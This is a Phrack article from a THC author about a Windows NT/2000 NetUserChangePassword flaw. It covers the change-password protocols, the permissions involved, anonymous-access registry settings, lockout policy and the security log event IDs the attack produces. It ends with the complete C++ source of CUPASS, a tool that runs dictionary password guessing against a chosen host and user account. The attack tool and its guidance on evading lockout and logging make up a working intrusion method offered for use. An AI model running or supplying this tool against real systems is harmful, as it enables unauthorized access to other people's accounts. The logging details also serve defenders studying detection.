4 Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12
6 |=---------=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=------------=|
7 |=-----------------------------------------------------------------------=|
8 |=--------------=[ Doc Holiday / THC <holiday@thc.org> ]=----------------=|
16 Microsoft has a known problem in Windows NT 4, that enables an attacker
17 to change the password of any user under special/default circumstances.
20 The same problem reappeared in Windows 2000 some days ago. The flaw exists
21 in Microsofts implementation of the NetUserChangePassword function.
24 These facts inspired me to write this article and CUPASS, a simple tool
25 that starts a dictionary attack against user accounts.
28 In this article I want to discuss all things worth knowing about the
29 NetUserChangePassword problem.
32 Have fun while reading this article...
40 ----| THE PASSWORD CHANGE PROTOCOLS
43 As a little background I will tell you something about the possibilites
44 to change a password in a Windows NT/W2K environment.
47 Windows 2000 supports several protocols for changing passwords which
48 are used under different circumstances.
54 - NetUserChangePassword protocol (we will call it NUCP)
55 - NetUserSetInfo protocol
56 - Kerberos change-password protocol
57 - Kerberos set-password protocol
58 - LDAP write-password attribute (presumes 128Bit SSL)
59 - XACT-SMB protocol (for LAN Manager compatibility)
62 Because there is a flaw in Microsofts implementation of the NUCP protocol,
63 we will have a deeper look at this one.
67 ----| PROTOCOL ELECTION
70 We can see that there are a lot of protocols for changing passwords in an
71 Microsoft environment. Now I will show in which cases the NUCP is used:
78 If a user changes his password by pressing CTRL+ALT+DELETE and pressing the
79 "Change Password" button, the NUCP protocol is used, if the target is a
80 domain or the local member server or workstation.
83 If the target is a Kerberos realm, the Kerberos change-password protocol is
91 If a change password request is initiated from an Windows NT 3.x or NT 4
92 machine, the NUCP and/or NetUserSetInfo protocols are used.
99 If a program uses the NUCP method on the Active Directory Services
100 Interface (ADSI), the IaDSUser interface first tries to change the
101 password with the LDAP protocol, and then by using the NUCP method.
106 ----| NUCP FUNCTION CALL
109 At this time we know that a lot of ways exist to change a users
110 password. We also know in which cases NUCP is used.
113 Now we want to have a little look at the function NetUserChangePassword
114 itself. (More detailed information can be found at Microsoft's SDK!)
122 The prototype of the NetUserChangePassword function is defined in
123 "lmaccess.h", and looks as follows:
127 NET_API_STATUS NET_API_FUNCTION
128 NetUserChangePassword (
129 IN LPCWSTR domainname OPTIONAL,
130 IN LPCWSTR username OPTIONAL,
131 IN LPCWSTR oldpassword,
132 IN LPCWSTR newpassword
137 The parameters are explained consecutively:
149 Pointer to a null-terminated Unicode string that specifies the name of a
150 remote server or domain.
157 Pointer to a null-terminated Unicode string that specifies a user name.
164 Pointer to a null-terminated Unicode string that specifies the user's
165 old password on the server or domain.
172 Pointer to a null-terminated Unicode string that specifies the user's new
173 password on the server or domain.
181 The return values are defined in "LMERR.H" and "WINERROR.H".
184 With a deeper look in this files we can see that if the function was executed
185 with success, the return value is 0 (zero) btw. NERR_Success.
189 The most important error values are:
192 ->ERROR_ACCESS_DENIED (WINERROR.H)
193 --------------------------------
199 If the target is a NT Server/Domain Controller, and the
200 option "User Must Log On in Order to Change Password" is enabled,
201 this error code is the result of CUPASS. The password could
205 If the target is a W2K domain controller with AD installed,
206 and the EVERYONE group is removed from the group
207 "Pre-Windows 2000 compatible access", than this error code
208 is an result of NUCP.
211 In some cases this means the right password was guessed by
212 CUPASS, but could not be changed because of insufficient
213 permissions on the corresponding AD object.
217 ->ERROR_INVALID_PASSWORD (WINERROR.H)
218 -----------------------------------
221 The guessed password (oldpassword) was invalid
225 ->ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H)
226 -------------------------------------
229 The account is locked due to many logon tries.
233 ->ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H)
234 ------------------------------------------
237 Indicates a Windows NT Server could not be contacted or that
238 objects within the domain are protected such that necessary
239 information could not be retrieved.
243 ->NERR_UserNotFound (LMERR.H)
244 ---------------------------
247 The useraccount could not be found on the given server.
251 ->NERR_NotPrimary (LMERR.H)
252 -------------------------
255 The operation is only allowed on the PDC. This appears e.g. if
256 you try to change passwords on a BDC.
260 This return values are evaluated by CUPASS. For all others, the numeric
261 value will be shown, and you can simply have a look at this files for
262 the meaning of the errorcode.
267 MORE DETAILS ON NUCP API CALL
268 -----------------------------
271 The NUCP function is only available on Windows NT and Windows 2000
275 As part of the LanMan-API the NUCP function is UNICODE only!!!
276 This makes the programming a little bit harder, but not impossible :)
279 UNICODE on Windows is an topic for itself, and we dont want to talk more
280 about it here. Have a look at Microsofts msdn webpage or Charles
281 Petzolds book about Windows programming, if you are interested in this
285 For a successfull usage of NUCP, you have to link your program with the
286 "Netapi32.lib" library!
291 ----| REQUIRED PERMISSIONS FOR NUCP
294 NUCP is part of the Microsoft network management functions.
295 The management functions consists of different groups like
296 NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc.
299 These functions are again splitted in Query Functions and Update Functions.
300 Whilst query functions just allow to query informations, the update
301 functions allow changes on objects.
304 An example for a query function is e.g the NetUserEnum function which
305 provides information about all user accounts on a server.
308 An example for an update function is the NetUserChangePassword function
309 which changes the password of a user account :)
312 Its easy to imagine, that query functions need less permissions than update
313 functions for beeing executed.
317 Lets have a look what permissions are needet:
325 The query functions like NetGroupEnum, NetUserEnum etc. and can be
326 executed by all authenticated users.
329 This includes Anonymous users, if the RestrictAnonymous policy setting
330 allows anonymous access.
333 On a Windows NT member server, workstation or PDC, the
334 NetUserChangePassword function can only be (successfull) executed by
335 Administrators, Account Operators or the user of the account, if the option
336 'User Must Log On in Order to Change Password' for this user is enabled.
339 If 'User Must Log On in Order to Change Password' is not enabled, a user can
340 change the password of any other user, as long he knows the actual password.
348 The query functions like NetGroupEnum, NetUserEnum etc. can be executed by
349 all authenticated users. This includes Anonymous users, if the
350 RestrictAnonymous policy setting allows anonymous access.
353 On a W2K member server or workstation the NetUserChangePassword function
354 should only be (successfully) executable by Administrators, Account
355 Operators or the user of the account.
358 That this isn't the case, can be shown with CUPASS, because here is the
359 flaw that Microsoft made with his implementation of NetUserChangePassword.
362 On W2K member servers and workstations, the NetUserChangePassword function
363 can be successfully executed by any user who knows the current password of
364 the attacked user account.
368 ( For your information:
371 The option 'User Must Log On in Order to Change Password' has been removed
376 On a W2K domain controller with Active Directory, access to an object is
377 granted based on the ACL of the object (Because W2K with installed AD
378 stores the user passwords in the AD in contrast to NT 3.x/4).
381 Network management query functions are permitted to all authenticated
382 users and the members of the group "Pre-Windows 2000 compatible access"
383 by the default ACL's.
386 Theoretical Network Management Update functions like NUCP are only
387 permitted to Administrators and Account Operators.
390 That this is not the case, can also be shown with CUPASS.
393 CUPASS works fine if AD is installed on the target system.
396 If the "everyone" group is removed from the
397 "Pre-Windows 2000 compatible access" group, the result of CUPASS will
398 be Errorcode 5, which means ACCESS_DENIED!.
401 My research shows that anyhow the password is guessed by CUPASS, but
402 can not be changed because of insufficient permissions on the AD object!
406 ----| ANONYMOUS CONNECT
409 There is something I didn't talk about much, the Anonymous User Problem,
410 also known as the NULL-User problem.
413 Lets have a short look at how the Anonymous security settings will take affect
421 The value Data of the following registry value regulates the behaviour
422 of the operating system regarding to the NULL USER CONNECT.
425 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
426 Value: RestrictAnonymous
427 Value Type: REG_DWORD
430 If RestrictAnonymous is set to 0 (zero), which is the default setting,
431 CUPASS will work properly.
434 If RestrictAnonymous is set to 1, what means the enumeration of SAM
435 accounts and names is not allowed, CUPASS will work properly.
437 If RestrictAnonymous is set to 2, what means no access without explicit
438 anonymous permissions, there is no possibility to change the password
441 Because the value 2 has comprehensive consequences to the behaviour of
442 the windows environment (e.g. Browser service will not work properly,
443 netlogon secure channels could not be established properly by member
444 workstations etc..) it is rare used.
447 These settings are the same on W2K member server and W2K DC with AD!
454 The value Data of the following registry value regulates the behaviour
455 of the operating system regarding to the NULL USER CONNECT.
458 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
459 Value: RestrictAnonymous
460 Value Type: REG_DWORD
463 Converse to W2K there are only two valid values 0 (zero) and 1 for
467 If RestrictAnonymous is set to 0 (zero), which is the default setting,
468 CUPASS will work properly.
471 If RestrictAnonymous is set to 1, what means the enumeration of SAM
472 accounts and names is not allowed, CUPASS will work properly.
483 The process that calls the NetUserChangePassword function in some cases
484 must have the SE_CHANGE_NOTIFY_NAME privilege
485 (except for system account and members of the local Administrator group).
486 Per default this privilege is enabled for every account, but can be
487 disabled by the administrator.
490 SE_CHANGE_NOTIFY_NAME could not be found at the privileges,
491 because it is called "Bypass traverse checking"!
494 This is an declarative from Microsoft. I tried it, but I didn't find a case
495 in that this right was necessary to execute the NUCP function call.
500 ----| POLICY AND LOGGING
503 I will have a look for the policy settings, that will take affect to the
515 The settings "Enforce password history" and "Minimum password age"
516 will take effect to the result of CUPASS, in the way that CUPASS can't
517 "realy" change the password, and the error code 2245 will result.
519 But this doesn't matter, because we know the "old" password at this time,
520 and CUPASS just tried to replace the "old" password with the "old"
525 ->ACCOUNT LOGOUT POLICY
526 ---------------------
528 Account lockout treshold
529 ------------------------
532 The settings "Account lockout duration" and
533 "Reset Account lockout after ..." are only relevant if the
534 "Account lockout treshold" ist set to any value >0.
537 If the treshold is set, than this takes affect to the work of CUPASS,
538 because all attempts of CUPASS exceeding the treshold will lead to an
542 However the Logout Policy ist not valid for the Administrator on NT4
543 environments, until the NT Reskit tool "Passprop" is used!
544 In this case even the Administator account will be locked
548 If we start CUPASS against any account of a W2K server or a W2K domain
549 controller with AD, this account is locked out, and even the
550 Administrator account is marked as "Account is locked out", too !
553 But it is still possible for the Administrator account to log on
554 interactive on the machine!
566 Lets have a look which auditing events have to enabled, to see an
567 CUPASS attack in the security logs of the target machine.
571 Audit Account Management
572 ------------------------
575 If the setting "Audit Account Management" is enabled (success/failure),
576 an entry with the ID 627 appears in in the security log.
579 This entry contains all necessary datas for the administrator :(
580 These e.g. are: Date, Time, Target Account Name, Caller User Name etc.
584 Audit account logon events
585 --------------------------
588 Surprisingly for some administrators, there appears no log entry if
589 the settings "Audit account logon events" or "Audit logon events"
590 are enabled, if the attack goes to the local machine.
593 This is e.g. the case if you want to guess the local administrator
594 password of your machine.
597 If the CUPASS attack comes from remote, log entries ID 681 and ID 529
605 If this type of auditing is enabled, and the attack goes to the
606 local machine, an logfile entry with the ID 560 and 562 appears.
609 ID 560 tells us that someone opened the object
610 "Security Account Manager" whilst 562 tells us something like
615 Maybe there occure some more logfile entries with other ID's, but these
616 ones listed above are the ones I found while testing CUPASS.
619 So test CUPASS on your own environment and have a look into your logfiles!
627 I hope this article could give you a little overview about the
628 NetUserChangePassword problem, and Microsoft's inconsequent implementation
629 of security and function calls.
632 This article could not treat this topic concluding, because there are
633 so many different situations and configurations that I could not test
634 in my short sparetime :)
641 Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac
642 and all the other members from THC, VAX who gives me a lift to HAL2001,
643 the guys from TESO, Seth, Rookie and all the other people knowing me...
646 The biggest THANX are going to my wife, who missed me nearly the whole
647 weekend while I was writing this article!
649 Ok, have a nice day and lets meet and party at HAL2001 :)
653 <++> cupass.cpp !a10c7302
655 * CUPASS v1.0 (c) 2001 by Doc Holiday / THC <Holiday@thc.org>
656 * http://www.hackerschoice.com
658 * Dictionary Attack against Windows Passwords with NetUserChangePassword.
659 * Do only use for legal purposes.
661 * Compiled and tested on Windows NT/W2K - runs not on Win9x!!
662 * Compiled with VC++ 6.0
672 #include <lmaccess.h>
677 #pragma comment( lib, "netapi32.lib" )
681 void wmain( int argc, wchar_t *argv[] )
683 wchar_t *hostname = 0;
684 wchar_t *username = 0;
685 wchar_t *dictfile = 0;
687 NET_API_STATUS result;
694 wprintf (L"\nMissing or wrong parameters!\n");
696 L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
706 if (wcsncmp(hostname, L"\\\\",2 )!=0)
708 wprintf (L"\nups... you forgot the double backslash?");
710 L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
715 if( (stream = _wfopen( dictfile, L"r" )) == NULL )
717 wprintf( L"\nups... dictionary %s could not be opened", dictfile );
718 wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
723 wprintf (L"\n*** CUPASS 1.0 - Change User PASSword - by Doc Holiday/THC (c) 2001 ***\n");
724 wprintf (L"\nStarting attack .....\n");
725 wprintf (L"\nTarget: %s ", hostname);
726 wprintf (L"\nUser: %s\n ", username);
729 while( !feof( stream ) )
731 fgetws (myChar, 256,stream);
734 if (myChar[wcslen(myChar)-1] == '\r') myChar[wcslen(myChar)-1] = '\0';
735 if (myChar[wcslen(myChar)-1] == '\n') myChar[wcslen(myChar)-1] = '\0';
738 oldpassword = myChar;
740 wprintf( L"\nTrying password %s \n", oldpassword );
742 result = NetUserChangePassword( hostname, username,oldpassword, oldpassword );
747 wprintf( L"GOTCHA!! Password was changed\n" );
748 wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword);
753 case 5: //ERROR_ACCESS_DENIED
754 wprintf (L"Attempt failed -> ERROR_ACCESS_DENIED - But password could be %s\n", oldpassword);
759 case 86: //ERROR_INVALID_PASSWORD
760 wprintf( L"Attempt failed -> Incorrect password\n" );
763 case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO
764 wprintf (L"Attempt failed -> Can't establish connection to Host %s\n",hostname);
770 case 1909: //ERROR_ACCOUNT_LOCKED_OUT
771 wprintf (L"Attempt failed -> Account locked out\n");
777 case 2221: //NERR_UserNotFound)
778 wprintf (L"Attempt failed -> User %s not found\n", username);
783 case 2226://NERR_NotPrimary
784 wprintf (L"Attempt failed -> Operation only allowed on PDC\n");
789 wprintf (L"GOTCHA!! Password is '%s' , but couldn't be changed to '%s' due to password policy settings!\n", oldpassword, oldpassword);
796 wprintf( L"\nAttempt failed :( %lu\n", result );
807 |=[ EOF ]=---------------------------------------------------------------=|